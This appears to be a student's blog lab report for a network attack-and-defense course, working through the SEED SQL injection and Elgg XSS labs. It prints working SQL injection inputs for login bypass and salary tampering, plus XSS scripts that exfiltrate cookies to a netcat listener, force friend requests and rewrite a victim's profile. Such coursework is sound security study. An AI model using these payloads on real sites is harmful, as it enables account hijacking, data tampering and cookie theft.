20212934 2021-2022-2 高铭泽 网络攻防实践,第十次作业,

实验目的

一、SEED SQL注入攻击与防御实验

熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

SQL对抗:修复上述SQL注入攻击漏洞。

二、SEED XSS跨站脚本攻击实验(Elgg)

发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

弹窗显示cookie信息:将cookie信息显示。

窃取受害者的cookies:将cookie发送给攻击者。

成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

编写XSS蠕虫。

对抗XSS攻击。

 

 

背景知识

 

Web的应用架构

 

其中1DNS域名服务器,类似于需要一个电话簿去查找过去的号码一样,需要一个用来查找域名IP地址的通行权可以将DNS视为互联网的电话簿。2是负载均衡器,它们将传入的请求路由到许多应用程序服务器中的一个,这些服务器通常是彼此的克隆/镜像映像,并将响应从应用程序服务器发送回客户端3是web应用服务器,它们执行处理用户请求的核心业务逻辑,并将HTML发送回用户的浏览器4是数据库服务器用来储存信息。5是缓存服务。6是队列任务服务器。7是全文搜索服务。8是通用服务,它们没有暴露于外部世界,但应用程序和其他服务与它们互动9是数据,10是云储存,11是内容分发网络。

 

 

关于SQL


SQL简介:SQL即结构化查询语言(Structured Query Language),是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统;同时也是数据库脚本文件的扩展名。

SQL语句参考:https://product.pconline.com.cn/itbk/wlbg/servers/1506/6550460.html

SQL注入:SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息

SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。

SQL注入的危害:
非法读取、篡改、添加、删除数据库中的数据。
盗取用户的各类敏感信息,获取利益。
通过修改数据库来修改网页上的内容。
私自添加或删除账号。
注入木马等等

 

 

XSS漏洞

XSS,即跨站脚本攻击,是指攻击者利用Web服务器中的应用程序或代码漏洞,在页面中嵌入客户端脚本(通常是一段由JavaScript编写的恶意代码,少数情况下还有ActionScript、VBScript等语言),当信任此Web服务器的用户访问Web站点中含有恶意脚本代码的页面或打开收到的URL链接时,用户浏览器会自动加载并执行该恶意代码,从而达到攻击的目的。

 

XSS漏洞的危害

 

(1)窃取管理员帐号或Cookie。

 

(2)窃取用户的个人信息或者登录帐号,对网站的用户安全产生巨大的威胁。(3)网站挂马。先将恶意攻击代码嵌入到Web应用程序之中。

 

(3)发送广告或者垃圾信息。

 

XSS漏洞的检测与防御

 

常用的检测工具有AVWSAcunetix Web Vulnerability Scanner)、BurpSuite等。还有一些专门针对XSS漏洞的检测工具,如:XSSerXSSF(跨站脚本攻击框架)、BeEF(The Browser Exploitation Framework)等。

 

同时可以使用黑名单HTML标签或特殊字符进行过滤使用内容安全的CSP使用设计上就会自动编码的框架启用浏览器的HttpOnly特性可以组织客户端脚本访问cookie等方法进行防御。

 

 

实验过程:

 

一、SEED SQL注入攻击与防御实验

 

登录 MySQL 数据库:

 

mysql -u root -pseedubuntu

 

进入Users库:

 

 

 

 使用浏览器访问www.SEEDLabSQLInjection.com

 

 使用ctrl+U查看页面源码,表单将用户输入的信息使用get方法提交至unsafe_home.php页面进行权限校验。

 

 通过vim /var/www/SQLInjection/unsafe_home.php,找到核心的SQL语句,其中where部分存在可以进行注入攻击的漏洞

 

 这样的话,就可以绕过密码校验,直接进入Admin用户页面。测试输入用户名为Admin' #,密码为空

 

 发现成功登录

再使Alice' #的账号进行登录

 

 可以看到以下信息

 

 

点击页面上方的Edit Profile进入更新信息页

 

查看源码,unsafe_edit_backend.php中,对UPDATE语句进行预处理。
修改为:

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

 

如果用户在 NickName 文本框中输入:', salary='500000' where EID='10000';#,那么变量$input_nickname则发生相应改变,于是,上面的语句变为:$sql = "UPDATE credential SET nickname='', salary='500000' where EID='10000';,这条语句就实现了将 Alice 的工资更新为 500000。

 

 

 攻击成功

 

实践二:发布恶意消息,显示警报

访问http://www.xsslabelgg.com使用 Alice 的账户进行登录,用户名为 alice,密码为 seedalice(其他账户密码为seed+用户名)

进入个人信息页面http://www.xsslabelgg.com/profile/alice,点击Edit profile,在Brief description文本框输入:

<script>alert('xss');</script>

点击Save保存

 

 

 

刷新页面,再次弹出上述提示框

实现了通过嵌入 JS 代码,弹出警报窗口。

弹窗显示 cookie 信息

Brief description文本框输入:

 

<script>alert(document.cookie);</script>

 

之后Boby的页面弹进入Alice的页面时弹出提示框,并且显示当前的 cookie 信息

 

 

 

 

 

窃取受害者的 cookies

打开 TCP server 监听5555端口, 将受害者cookies 发送到自己的 5555 端口,就可以输出收到内容

<script>

  document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>');

</script>

document.write()提供了可以对浏览器 DOM 结构进行操作的 API 接口。

escape()函数可以编码字符串。

将上述代码同样输入到Brief description文本框中,然后在终端使用以下指令监听端口:nc -l 5555 -v

 

 

成为受害者的朋友

使用view-->sidebar-->HTTP Header Live查看在正常的情况下,添加好友应该发送的指令。

 

 

 

 

使用出如下的代码,可以自动添加好友。

<script type="text/javascript">window.onload = function () {

var Ajax=null;

var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;

var token="&__elgg_token="+elgg.security.token.__elgg_token;

 

 

//Construct the HTTP request to add Samy as a friend.

var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;

 

//Create and send Ajax request to add friend

Ajax=new XMLHttpRequest();

Ajax.open("GET",sendurl,true);

Ajax.setRequestHeader("Host","www.xsslabelgg.com");

Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

Ajax.send();

}</script>

 

将上述代码放到Alice的About me中,然后用boby的账号访问Alice的个人主页。之后返回boby主页,可以看到boby自动加了Alice的好友

 

 

 结果如下

 

 

 

 

修改受害者的信息

同样将代码放到alice的about me中。登陆boby账号访问Alice的个人主页

 

<script type="text/javascript">

window.onload = function(){

//JavaScript code to access user name, user guid, Time Stamp __elgg_ts

//and Security Token __elgg_token

var userName=elgg.session.user.name;

var guid="&guid="+elgg.session.user.guid;

var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;

var token="&__elgg_token="+elgg.security.token.__elgg_token;

 

//Construct the content of your url.

var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;

var sendurl = "http://www.xsslabelgg.com/action/profile/edit"

alert(content)

//FILL IN

var samyGuid=44;

//FILL IN

if(elgg.session.user.guid!=samyGuid)

{

//Create and send Ajax request to modify profile

var Ajax=null;

Ajax=new XMLHttpRequest();

Ajax.open("POST",sendurl,true);

Ajax.setRequestHeader("Host","www.xsslabelgg.com");

Ajax.setRequestHeader("Content-Type",

"application/x-www-form-urlencoded");

Ajax.send(content);

}

}</script>

被攻击前和被攻击后的状态如下图

 

 

 

 


 

posted @ 2022-05-22 18:54  哲学焕着  阅读(29)  评论(0编辑  收藏  举报